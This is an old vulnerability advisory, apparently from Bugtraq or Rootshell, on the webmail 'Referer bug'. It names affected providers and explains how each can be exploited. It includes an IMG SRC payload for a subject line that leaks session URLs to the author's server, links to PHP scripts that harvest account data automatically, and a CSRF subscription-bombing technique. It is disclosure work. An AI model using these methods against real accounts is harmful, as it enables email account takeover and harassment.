[ http://www.rootshell.com/ ]

CDI <cdi@thewebmasters.net>

Bugtraq readers note: Forgive my condescending attitude in this advisory and
my needless explanation of well-known principles - I had to dumb this
advisory down so that even the truly clueless could follow it, since the
intended target of this mailing was corporate IT departments. Suffice to
say, I'd like to take a clue-by-four to some of the morons I've spoken to
over the last few days, but I digress.

Disclaimer:

    All opinions and views expresed within this advisory are my personal
    opinions only and do not represent the views of my employer, relatives,
    friends, any company nor my cat.  I am not liable for any damages either
    direct or indirect caused by the use of the information I provide in
    this advisory.  The WebMail providers mentioned in this advisory have
    had almost THREE YEARS to shore up this particular hole and THEY are the
    ones that decided not to take the security of your email seriously.

Abstract:

    After almost three years of continued harping by the security community,
    too many 'Web Based Email' (WebMail) providers are -still- vulnerable to
    very well documented[1] security flaws, specifically, the 'Referer Bug'.

Detail:

    Whenever you visit a web site by following a link from another web site,
    a Referer is generated and stored on the visited site.  The referer
    contains the exact URL of where the visitor came from. If the link they
    followed was embedded in an email, it is possible that the Referer will
    contain sufficient information to allow an intruder to compromise the
    WebMail provider's application and gain unauthorized access to the
    victim's email.  In many cases, the compromise can be automated in such
    a way that an intruder can penetrate an account the moment the victim
    reads their email.

Quick Fix:

    Option 1: Stop treating your email like a web page, and if you do decide
    to treat your email like a web page, don't be surprised when someone
    else decides to treat your email like a web page.  Yea, I know, a tad
    harsh, but it's damned effective.

    Option 2: Disable Java, Javascript, Active Scripting, and Automatic
    Image Loading.  That's right - make your browser as dumb as a post - but
    it won't help any, you're still vulnerable to this bug. (Option 1 sure
    does look nicer now, doesn't it?)

Effected Implementations:

    Critical Path Inc., Third-party provider

        Critical Path supplies web based email systems to other companies.
        Some, but most certainly not all CP implementations are being
        effected by this bug.

        Test host: Canada.com (Canada-centric Portal)

        Exploit: All CP implementations attempt to wrap[2] links within
        email in an attempt to prevent this bug from effecting the user.
        HTML embedded directly into an email to a CP host will not effect
        the victim.  However, CP's parser does not attempt to parse
        attachments. An email sent which contains a text/html attachment in
        MIME (Base64) encoding will not be parsed.  When the victim views
        the attachment, the referer bug strikes.

        CP was contacted about this bug on Jan 5th. After they completely
        ignored several emails from me, I finally called them and was
        ensured that their 'CIO' was working on the problem and they would
        definitely call me back. (Never happened) Over the next several days
        I watched my server log record numerous referers from CP hosts as
        they attempted to fix the bug. Unfortunately, they did all their
        testing using Intranet hosted webmail applications, which of course
        can't be accessed from the outside world. Not a very effective way
        of testing for the bug now is it?  To date, Canada.com is still
        vulnerable, which implies there are others out there as well.

        Side note: Although George considers Javascript execution within a
        webmail interface to be a bug, I don't. (Read the 'Quick Fix' above
        for why I take this stance). Regardless, CP hosts that are effected
        by the referer bug will also allow you to run Javascript.

    Go-Hip.com / BigMailBox.com - Third-party provider.

        Similar to CP, GoHip provides web based email solutions to third
        parties.

        Known Affected:  Antionline.org

        Exploit: GoHip/BigMailBox make no effort at all to prevent this bug.
        Send HTML email to a user with an IMG SRC image tag. The moment the
        victim reads their email they are compromised.  (Provided they
        automatically load images - most do)

        GoHip/BigMailBox also allows the execution of Javascript within the
        email.

        GoHip was contacted via email on Jan 5th. Repeated follow-up emails
        to them have been totally ignored without so much as an
        acknowledgement.  Unlike CP, where only 1 tested host was found
        vulnerable, ALL GoHip/BigMailBox implementations are affected by
        this bug. (At least, all the ones I checked, including GoHip.com
        itself)

Note: After trying unsuccessfully to deal with support and IT staff at
BigMailBox/GoHip, Critical Path, and USA.net, I gave up. I have no
patience for the clueless and with over two and a half years of this
particular bug, no excuse they provided should be tolerated anyway.

    MyRealBox.com - Stand-alone Provider, still in Beta.

        I'll be nice. They are definitely vulnerable to a referer bug, but
        they are still in Beta. Also, the URL they leave behind in your
        referer logs needs to be massaged a little bit to make the exploit
        work. I am not going to document the steps needed here to make the
        referer work. (But it does work, I assure you) Why not document
        what is needed here? Becuase they're in Beta and bugs should be
        expected so I'm not going to beat up on them.

    Loadmail.com - Third-party Provider

        Minimal vulnerability.  Although the referer is protected by cookies
        if the link originates from within an email, the same is not true
        for email attachments.  Attachments provide a referer that can be
        used, but only to view that attachment. The caveat to all of this is
        that although the main account is protected by authentication
        cookies, the attachment can be used to execute arbitrary Javascript
        commands - like commands that would grab the cookies needed to
        compromise the account.

    DotCool.com - Stand-alone provider (Portal)

        Trivial to compromise. The referer is wide open and no attempt is
        made to protect it.  No attachments needed - send your HTML email and
        rest assured the victim will be compromised.  It's slightly more
        difficult for an automated compromise as the mail-retrieval host
        uses a non-standard port (8383) to retrieve it's email.
        If the payload is sent as an attachment, one can induce Dotcool to
        execute Javascript.

    Ghostmail.com - Third-party provider

        Of all the ones I was able to compromise, these guys were the most
        difficult. Attachments and the email itself has all HTML converted
        over into plain text with HTML entities[3] replacing all instances
        of '<' and '>', rendering any embedded HTML inert, including
        attachments.  Kudos to Ghostmail for taking this stand since it
        renders any potential exploit useless.  Unfortunately, they don't
        bother to take the same precaution with the Subject: header of the
        email. A carefully crafted Subject line will produce the desired
        referer. An IMG SRC tag with a short URL works best.

        Example:    </A><IMG SRC="http://3464267555/1.php3">

        The closing </A> is needed to prevent the ghostmail parser from
        trashing our HTML in favor of it's own.  The decimal IP is used to
        shorten the URL as much as possible.. if it's too long ghostmail's
        parser will truncate (and break) our HTML. The URL above is
        valid and points to the image.php3 file mentioned below.

    USA.net / NetAddress

        Long ago, NetAddress fixed their Referer Bug and it remains fixed to
        this day.  They receive a mention here because of a different kind
        of problem entirely.  During the sign-up phase for a new account,
        the user is presented with 33 possible mailing lists, special offers
        and what-not that they can subscribe to.  The form used to accept
        and sign a USA.net user up to these lists carries no authentication
        tokens at all. In short, if you know the email address of a USA.net
        user, you can sign them up for all 33 offerings by submitting the
        form using their email address. A miniature list-bomb ensues.  The
        beauty of this is that even if the victim unsubscribes from all the
        lists, you can re-subscribe them with the click of a mouse.

Over the weekend I tested a total of 23 free email providers.  I am not
going to list the 23 that I tested, for a very good reason: I want -them-
to test their own installs. I want users to test their own providers.  I
am nowhere near perfect - if I listed the ones I didn't find vulnerable, I
may have missed something they, or you, might catch.  Hence, my silence on
the subject of who I checked.  And before you do - don't ask.

To automate the theft of account information, I wrote up a couple of PHP
scripts.  They're not very smart, but they'll take whatever referer they are
given and try to grab whatever information they can using that referer.  If
you want to test:

    Send yourself an email with a link to:

    http://www.thewebmasters.net/webmail/index.phtml

    You are forewarned, all access to this script, including whatever it
    manages to get, is logged.  If you have access to a PHP enabled server,
    you can grab the source at
    http://www.thewebmasters.net/webmail/index.phps and modify it to your
    heart's content.

    If you want to try your luck with getting an image link through, then
    send yourself an email with an IMG SRC tag pointing to
    http://www.thewebmasters.net/webmail/image.php3. (Source is image.phps)

It's identical to the other script, including the logging, with the
exception being that if it finds a referer, it displays a 'success' gif. If
it does NOT get any referer at all, you get a 'failed' gif.  Please note,
the 'success' does not indicate that it compromised your account - only that
it got a referer of some kind.

[1] Background Documentation

    NetAddress patches email bug - May 6, 1997
    http://news.cnet.com/news/0-1005-200-318740.html

    BellSouth stamps out email bug - Aug 28, 1998
    http://news.cnet.com/news/0-1003-200-332714.html

    Hotmail, Excite have privacy hole - June 29, 1998
    http://news.cnet.com/news/0-1003-200-330770.html

[2] A wrapper implementation looks at each incoming email. Any link found in
    the email which leads offsite will be "wrapped".  An example;

        original: http://www.example.com/
        wrapped : http://www.cp.net/cgi-bin/wrapper?http://www.example.com/

    The wrapper CGI in this instance foils the Referer bug by changing the
    Referer to itself. In most cases, the resultant referer is identical to
    the 'wrapped' URL shown above.  This method of preventing the bug is
    effective, but certainly not perfect.  During my testing, Cookies proved
    to be the big show stopper.

[3] HTML entities are a way to have the browser display characters that
    would otherwise be invisible to the user of the browser, like converting
    '<' to  '&#lt;' and converting '>' to '&#gt;' By rendering ALL html
    within an email, it renders any potential exploit harmless. I like
    this, but somehow I don't think many WebMail providers are going to
    take this stance. *sigh*


CDI
____________________________________
The Web Master's Net
http://www.thewebmasters.net/
Today's Excuse:
Interferance from the Van Allen Belt.